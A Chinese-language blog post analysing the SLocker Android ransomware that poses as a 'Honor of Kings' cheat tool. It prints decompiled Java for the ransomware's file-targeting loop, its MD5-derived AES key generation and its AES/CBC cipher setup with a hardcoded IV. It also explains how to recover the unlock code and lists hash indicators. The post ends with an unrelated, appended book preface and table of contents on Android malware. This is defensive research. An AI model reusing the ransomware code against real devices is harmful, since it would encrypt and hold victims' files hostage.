Android malware样本SLocker Mobile Ransomware

样本下载:
http://appscan.io/app-report.html?id=d72ca5ca1e7dc6431c041bfc6d7e3f9bfa39959c
分析:
http://blog.trendmicro.com/trendlabs-security-intelligence/slocker-mobile-ransomware-starts-mimicking-wannacry/
下载之后校验一下hash,查看一下文件类型
这里写图片描述
然后如果直接把它当成zip文件解压,会有一些加固的东西,可以用jadx-gui打开这个apk格式的文件。
这里写图片描述

伪装成 “王者荣耀辅助”的名字和图标,模仿WannaCry的界面

他在AndroidManifest.xml文件中声明了两个带有启动入口属性的Activity
com.android.tencent.zdevs.bah.MainActivitycom.android.tencent.zdevs.bah.QQ1279525738
这里写图片描述
其中com.android.tencent.zdevs.bah.MainActivity默认是enabled,而com.android.tencent.zdevs.bah.QQ1279525738初始为禁用(android:enabled="false")状态。
它有这样的属性

android:name="com.android.tencent.zdevs.bah.QQ1279525738"
android:enabled="false" 
android:targetActivity="com.android.tencent.zdevs.bah.MainActivity"

当满足某个条件时,它会禁用掉MainActivity,而开启QQ1279525738。同时更换Lancher上的图标。

这些操作都是在MainActivity的入口onCreate()中进行的。这个方法的最后一步(当该做的事都做完了之后)完成的
这里写图片描述
这里写图片描述

加密文件的步骤

ransomware 安装之后,它会检查它之前有没有被安装果。如果没有,它就会生成一个随机数,然后把它存储在SharedPreferences(一个.xml文件)中,这个文件可以用来存储app的持久型数据。然后它就会找到设备的外部存储设备,然后开一个新线程。
新线程会查找外部存储器,然后查看满足某种条件的文件:
1. 文件完整路径的小写不能包含“/.”, “android”, “com.” and “miad”
2. 以external storage为root路径,查找其三层目录,从中找出包含“baidunetdisk”, “download” 或者“dcim”的目录。
3. 文件名必须包含“.”(即文件名必须有后缀) ,而且加密后的文件名的大小必须小于251个字节。
4. 文件本身大小必须在10 KB和50MB之间

可以看出ransomware 不加密系统文件,而主要着眼于默认下载目录的文件和图片,而且只会加密有后缀名的文件(文本,图片,视频)。
当找到满足这些条件的 文件的时候,这个线程就会使用ExecutorService(Java中用来执行异步task的API)来执行一个新的task。

部分逻辑:

ExecutorService executorService;
if (i2 == 0) {
                    try {
                        if (file3.isFile() && r10.equals(MainActivity.hz) && file3.toString().indexOf("/.") == -1 && file3.getName().indexOf(".") != -1) {
                            executorService = executorService;
                            AnonymousClass100000001 anonymousClass100000001 = r20;
                            AnonymousClass100000001 anonymousClass1000000012 = new AnonymousClass100000001(file3, str2, i2, context2);
                            executorService.execute(anonymousClass100000001);
                        } else if (file3.isDirectory() && file3.toString().indexOf("/.") == -1 && file3.toString().toLowerCase().indexOf("android") == -1 && file3.toString().toLowerCase().indexOf("com.") == -1 && file3.toString().toLowerCase().indexOf("miad") == -1 && !(jd(file3.toString()) >= 3 && file3.toString().toLowerCase().indexOf("baidunetdisk") == -1 && file3.toString().toLowerCase().indexOf("download") == -1 && file3.toString().toLowerCase().indexOf("dcim") == -1)) {
                            deleteDirWihtFile(file3, str2, i2, context2);
                        }
                    } catch (Exception e) {
                        Exception exception = e;
                    }
                } else {
                    if (file3.isFile() && !r10.equals(MainActivity.hz) && file3.toString().indexOf("/.") == -1 && file3.getName().indexOf(".") != -1 && file3.length() > ((long) 10240) && file3.length() <= ((long) 52428800)) {
                        StringBuffer stringBuffer = r20;
                        StringBuffer stringBuffer2 = new StringBuffer();
                        if (zjs(stringBuffer.append(file3.getName()).append(MainActivity.hz).toString()) <= 251) {
                            bb = 1 + bb;
                            executorService = executorService;
                            AnonymousClass100000002 anonymousClass100000002 = r20;
                            AnonymousClass100000002 anonymousClass1000000022 = new AnonymousClass100000002(file3, str2, i2, context2);
                            executorService.execute(anonymousClass100000002);
                        }
                    }
                    if (file3.isDirectory() && file3.toString().indexOf("/.") == -1 && file3.toString().toLowerCase().indexOf("android") == -1 && file3.toString().toLowerCase().indexOf("com.") == -1 && file3.toString().toLowerCase().indexOf("miad") == -1 && !(jd(file3.toString()) >= 3 && file3.toString().toLowerCase().indexOf("baidunetdisk") == -1 && file3.toString().toLowerCase().indexOf("download") == -1 && file3.toString().toLowerCase().indexOf("dcim") == -1)) {
                        deleteDirWihtFile(file3, str2, i2, context2);
                    }
                }

新的task会调用一个叫做getsss()的方法生成一个基于之前产生的随机数的cipher(秘钥)。这个方法计算这个随机数的md5值,然后然后从这个md5值的16进制表示中选择16个字符串。字符串生成后,ransomware 会将它传到SecretKeySpec用来构造最终用来对文件进行加密的AES key。

    public static final String getsss(String str) {
        char[] cArr = new char[]{'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f'};
        try {
            byte[] bytes = str.getBytes();
            MessageDigest instance = MessageDigest.getInstance("MD5");
            instance.update(bytes);
            char[] cArr2 = new char[(r6 * 2)];
            int i = 0;
            for (byte b : instance.digest()) {
                int i2 = i;
                i++;
                cArr2[i2] = cArr[(b >>> 4) & 15];
                i2 = i;
                i++;
                cArr2[i2] = cArr[b & 15];
            }
            String str2 = r17;
            String str3 = new String(cArr2);
            return str2.toString().substring(8, 24);
        } catch (Exception e) {
            e.printStackTrace();
            return (String) null;
        }
    }

可能不同样本的 这个方法的内容不同?
那就再看看另一款相关的应用吧
王者荣耀前瞻版
http://appscan.io/app-report.html?id=ca2e7c66b9eedf95f51204cea8cd2e13ba2a5d93
除了大小有些不同之外(可能是新加了一些逻辑?)
这里写图片描述
注意这些r目录中的.acc文件不知道是干嘛的
这里写图片描述
用jadx-gui打开之后基本上还是同样的味道。
这里写图片描述
参考
http://blog.trendmicro.com/trendlabs-security-intelligence/slocker-mobile-ransomware-starts-mimicking-wannacry/
的分析中的图片

然而上面这个解密后的几行代码无法通过jadx-gui解密出来,
jadx出现了很多错误,
这里写图片描述
之后我人工判断,参考别人分析出来的代码,分析出大概这样的逻辑,

public static java.io.File encryptFile(String str1, String pFileName, String str3) {
    v6 = new FileInputStream(pFileName);
    v7 = new FileOutputStream();
    v15 = new javax.crypto.CipherInputStream(v6, sss.initAESCipher(str1, 1));

能找到这个CipherInputStream,但是并不能解密。
这里写图片描述

    /* JADX WARNING: inconsistent code. */
    /* Code decompiled incorrectly, please refer to instructions dump. */
    public static java.io.File encryptFile(java.lang.String r25, java.lang.String r26, java.lang.String r27) {
        /* JADX: method processing error */
/*
Error: java.lang.NullPointerException
    at jadx.core.dex.visitors.regions.ProcessVariables.addToUsageMap(ProcessVariables.java:284)
    at jadx.core.dex.visitors.regions.ProcessVariables.access$000(ProcessVariables.java:36)
    at jadx.core.dex.visitors.regions.ProcessVariables$CollectUsageRegionVisitor.processInsn(ProcessVariables.java:169)
    at jadx.core.dex.visitors.regions.ProcessVariables$CollectUsageRegionVisitor.processBlockTraced(ProcessVariables.java:135)
    at jadx.core.dex.visitors.regions.TracedRegionVisitor.processBlock(TracedRegionVisitor.java:23)
    at jadx.core.dex.visitors.regions.DepthRegionTraversal.traverseInternal(DepthRegionTraversal.java:53)
    at jadx.core.dex.visitors.regions.DepthRegionTraversal.traverseInternal(DepthRegionTraversal.java:58)
    at jadx.core.dex.visitors.regions.DepthRegionTraversal.traverseInternal(DepthRegionTraversal.java:58)
    at jadx.core.dex.visitors.regions.DepthRegionTraversal.traverseInternal(DepthRegionTraversal.java:58)
    at jadx.core.dex.visitors.regions.DepthRegionTraversal.traverse(DepthRegionTraversal.java:18)
    at jadx.core.dex.visitors.regions.ProcessVariables.visit(ProcessVariables.java:187)
    at jadx.core.dex.visitors.DepthTraversal.visit(DepthTraversal.java:31)
    at jadx.core.dex.visitors.DepthTraversal.visit(DepthTraversal.java:17)
    at jadx.core.ProcessClass.process(ProcessClass.java:37)
    at jadx.core.ProcessClass.processDependencies(ProcessClass.java:59)
    at jadx.core.ProcessClass.process(ProcessClass.java:42)
    at jadx.api.JadxDecompiler.processClass(JadxDecompiler.java:306)
    at jadx.api.JavaClass.decompile(JavaClass.java:62)
*/
        /*
        r2 = r25;
        r3 = r26;
        r4 = r27;
        r20 = 0;
        r20 = (java.io.FileInputStream) r20;
        r6 = r20;
        r20 = 0;
        r20 = (java.io.FileOutputStream) r20;
        r7 = r20;
        r20 = 0;
        r20 = (java.io.File) r20;
        r8 = r20;
        r20 = 0;
        r20 = (java.io.File) r20;
        r9 = r20;
        r20 = new java.io.File;  Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r24 = r20;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r20 = r24;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r21 = r24;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r22 = r3;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r21.<init>(r22);     Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r9 = r20;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r20 = new java.io.File;  Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r24 = r20;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r20 = r24;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r21 = r24;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r22 = r4;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r21.<init>(r22);     Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r8 = r20;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r20 = r9;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r20 = r20.exists();  Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        if (r20 == 0) goto L_0x00cc;     Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
    L_0x0044:
        r20 = r9;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r20 = r20.isFile();  Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        if (r20 == 0) goto L_0x00cc;     Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
    L_0x004c:
        r20 = r8;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r20 = r20.getParentFile();   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r20 = r20.exists();  Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        if (r20 != 0) goto L_0x0062;     Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
    L_0x0058:
        r20 = r8;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r20 = r20.getParentFile();   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r20 = r20.mkdirs();  Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
    L_0x0062:
        r20 = r8;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r20 = r20.createNewFile();   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r20 = new java.io.FileInputStream;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r24 = r20;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r20 = r24;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r21 = r24;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r22 = r9;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r21.<init>(r22);     Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r6 = r20;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r20 = new java.io.FileOutputStream;  Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r24 = r20;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r20 = r24;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r21 = r24;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r22 = r8;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r21.<init>(r22);     Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r7 = r20;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r20 = r2;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r21 = 1;     Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r20 = initAESCipher(r20, r21);   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r14 = r20;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r20 = new javax.crypto.CipherInputStream;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r24 = r20;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r20 = r24;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r21 = r24;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r22 = r6;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r23 = r14;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r21.<init>(r22, r23);    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r15 = r20;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r20 = 1024; // 0x400 float:1.435E-42 double:5.06E-321;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r0 = r20;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r0 = new byte[r0];   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r20 = r0;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r16 = r20;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r20 = 0;     Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r17 = r20;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
    L_0x00af:
        r20 = r15;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r21 = r16;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r20 = r20.read(r21);     Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r24 = r20;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r20 = r24;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r21 = r24;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r17 = r21;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r21 = -1;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r0 = r20;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r1 = r21;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        if (r0 != r1) goto L_0x00db;     Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
    L_0x00c7:
        r20 = r15;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r20.close();     Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
    L_0x00cc:
        r20 = r7;
        r20.close();     Catch:{ IOException -> 0x0120 }
    L_0x00d1:
        r20 = r6;
        r20.close();     Catch:{ IOException -> 0x0129 }
    L_0x00d6:
        r20 = r8;
        r2 = r20;
        return r2;
    L_0x00db:
        r20 = r7;
        r21 = r16;
        r22 = 0;
        r23 = r17;
        r20.write(r21, r22, r23);    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r20 = r7;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r20.flush();     Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        goto L_0x00af;
    L_0x00ec:
        r20 = move-exception;
        r14 = r20;
        r20 = r14;
        r20.printStackTrace();   Catch:{ all -> 0x00fe }
        goto L_0x00cc;   Catch:{ all -> 0x00fe }
    L_0x00f5:
        r20 = move-exception;    Catch:{ all -> 0x00fe }
        r14 = r20;   Catch:{ all -> 0x00fe }
        r20 = r14;   Catch:{ all -> 0x00fe }
        r20.printStackTrace();   Catch:{ all -> 0x00fe }
        goto L_0x00cc;
    L_0x00fe:
        r20 = move-exception;
        r10 = r20;
        r20 = r7;
        r20.close();     Catch:{ IOException -> 0x010e }
    L_0x0106:
        r20 = r6;
        r20.close();     Catch:{ IOException -> 0x0117 }
    L_0x010b:
        r20 = r10;
        throw r20;
    L_0x010e:
        r20 = move-exception;
        r18 = r20;
        r20 = r18;
        r20.printStackTrace();
        goto L_0x0106;
    L_0x0117:
        r20 = move-exception;
        r18 = r20;
        r20 = r18;
        r20.printStackTrace();
        goto L_0x010b;
    L_0x0120:
        r20 = move-exception;
        r18 = r20;
        r20 = r18;
        r20.printStackTrace();
        goto L_0x00d1;
    L_0x0129:
        r20 = move-exception;
        r18 = r20;
        r20 = r18;
        r20.printStackTrace();
        goto L_0x00d6;
        */
        throw new UnsupportedOperationException("Method not decompiled: com.android.tencent.zdevs.bah.sss.encryptFile(java.lang.String, java.lang.String, java.lang.String):java.io.File");
    }

然而其中的关键的加解密文件的逻辑已被混淆
这里写图片描述
加密函数:
这里写图片描述
解密函数:
这里写图片描述
其中initAESCipher()函数:

    private static Cipher initAESCipher(String str, int i) {
        String str2 = str;
        int i2 = i;
        Cipher cipher = (Cipher) null;
        try {
            IvParameterSpec ivParameterSpec = r11;
            IvParameterSpec ivParameterSpec2 = new IvParameterSpec("QQqun 571012706 ".getBytes());
            IvParameterSpec ivParameterSpec3 = ivParameterSpec;
            SecretKeySpec secretKeySpec = r11;
            SecretKeySpec secretKeySpec2 = new SecretKeySpec(str2.getBytes(), "AES");
            SecretKeySpec secretKeySpec3 = secretKeySpec;
            cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
            cipher.init(i2, secretKeySpec3, ivParameterSpec3);
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        } catch (NoSuchPaddingException e2) {
            e2.printStackTrace();
        } catch (InvalidKeyException e3) {
            e3.printStackTrace();
        } catch (InvalidAlgorithmParameterException e4) {
            e4.printStackTrace();
        }
        return cipher;
    }

这里写图片描述
对满足条件的文件加密完成后,会在该文件名后面加后缀。后缀包括一个QQ号和一个用于生成cipher的随机数。

ransomware提供了三个支付ransom的方法,但是经过测试发现这三种方法都指向同一个二维码

扫描这个二维码即可通过QQ来付款。如果三天之内不付款,ransom就会增加,并且威胁后在一周后删除所有加密的文件。
ransomware说如果收到ransom,则会下发一个解密的key。然而我们通过分析发现,当受害者点击Decrypt按钮时,ransomware会将输入的值与MainActivity.m的值进行比较。而通过track MainActivity.m,我们发现这个值其实就是之前提到的那个随机数 + 520

下面是分析文章中提到的变种,逻辑发生了变化(不是简单的加520了)。
这里写图片描述
有些变种还加了壳

Indicators of Compromise (IOCS)

200d8f98c326fc65f3a11dc5ff1951051c12991cc0996273eeb9b71b27bc294d com.android.tencent.zdevs.bah 王者荣耀辅助
2ffd539d462847bebcdff658a83f74ca7f039946bbc6c6247be2fc62dc0e4060 com.android.tencent.zdevs.bah 千变语音
36f40d5a11d886a2280c57859cd5f22de2d78c87dcdb52ea601089745eeee494 com.android.tencent.zdevs.bah 王者荣耀前瞻版
c347e09b1489c5b8061828526f4ce778fda8ef7fb835255914eb3c9268a265bf com.android.tencent.zdevs.bah 千变语音秀
cb0a18bcc8a2c9a966d3f585771db8b2e627a7b4427a889191a93b3a1b261ba3 com.android.tencent.zdevs.bah 主流影视大全
参考这个系列的:
http://appscan.io/monitor.html?id=593f737b02723840264c3c5a
这里写图片描述
这几个系列的文件大小差不多
这里写图片描述

This book is based on our years-long research conducted to systematically analyze emerging Android malware. Some of our earlier research results and findings were reported in an IEEE conference paper entitled Dissecting Android Malware: Characterization and Evolution, which was presented at the IEEE Symposium on Security and Privacy (often mentioned as Oakland conference in the security community) in May, 2012 [77]. During and after the conference, we were pleased to receive and hear inquiries from colleagues with encouraging comments on the systematization of knowledge work that has been conducted in our conference paper. Partially because of that, we are motivated to expand our work and hope such efforts will be of service to the security and privacy community. Further, as part of that, we have released corresponding malware dataset for our study under the name Android Malware Genome Projectto the community. With that, we want to take this opportunity to thank our collaborators, Dongyan Xu, Peng Ning, Xinyuan Wang, Shihong Zou, and others, whose valuable insights and comments greatly enriched our work. The authors are also grateful to colleagues in the Cyber Defense Lab at NC State University, especially Tyler Bletsch, Zhi Wang, Michael Grace, Deepa Srinivasan, Minh Q. Tran, Chiachih Wu, Wu Zhou, and Kunal Patel. Special thanks also go to Susan Lagerstrom-Fife and our publisher for their great help and patience! This research was supported in part by the US National Science Foundation (NSF) under Grants 0855297, 0855036, 0910767, and 0952640. Any opinions, findings, and conclusions or recommendations expressed in this material are those of the authors and should not be interpreted as necessarily representing the official policies or endorsements, either expressed or implied, for the NSF. 1 Introduction ........................................ 1 2 A Survey of Android Malware........................... 3 2.1 Malware Dataset . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3 2.2 Malware Characterization . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 2.2.1 Malware Installation . . . . . . . . . . . . . . . . . . . . . . . . . . 5 2.2.2 Activation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12 2.2.3 Malicious Payloads . . . . . . . . . . . . . . . . . . . . . . . . . . . 13 2.2.4 Permission Usage . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18 3 Case Studies ........................................ 21 3.1 Malware I: Plankton . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21 3.1.1 Phoning Home . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21 3.1.2 Dynamic Execution . . . . . . . . . . . . . . . . . . . . . . . . . . . 22 3.2 Malware II: DroidKungFu . . . . . . . . . . . . . . . . . . . . . . . . . . . 23 3.2.1 Root Exploits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24 3.2.2 Command and Control (C&C) Servers . . . . . . . . . . . . . 24 3.2.3 Payloads . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26 3.2.4 Obfuscation, JNI, and Others . . . . . . . . . . . . . . . . . . . . 26 3.3 Malware III: AnserverBot. . . . . . . . . . . . . . . . . . . . . . . . . . . . 26 3.3.1 Anti-Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27 3.3.2 Command and Control (C&C) Servers . . . . . . . . . . . . . 28 4 Discussion.......................................... 31 5 Additional Reading................................... 33 5.1 Books . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33 5.1.1 Malware Detection and Defense . . . . . . . . . . . . . . . . . . 33 5.1.2 Smartphone (Apps) Security. . . . . . . . . . . . . . . . . . . . . 34 5.2 Conference and Workshop Proceedings . . . . . . . . . . . . . . . . . . 34 ix 6 Summary........................................... 37 References............................................ 39 Index ................................................ 43
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值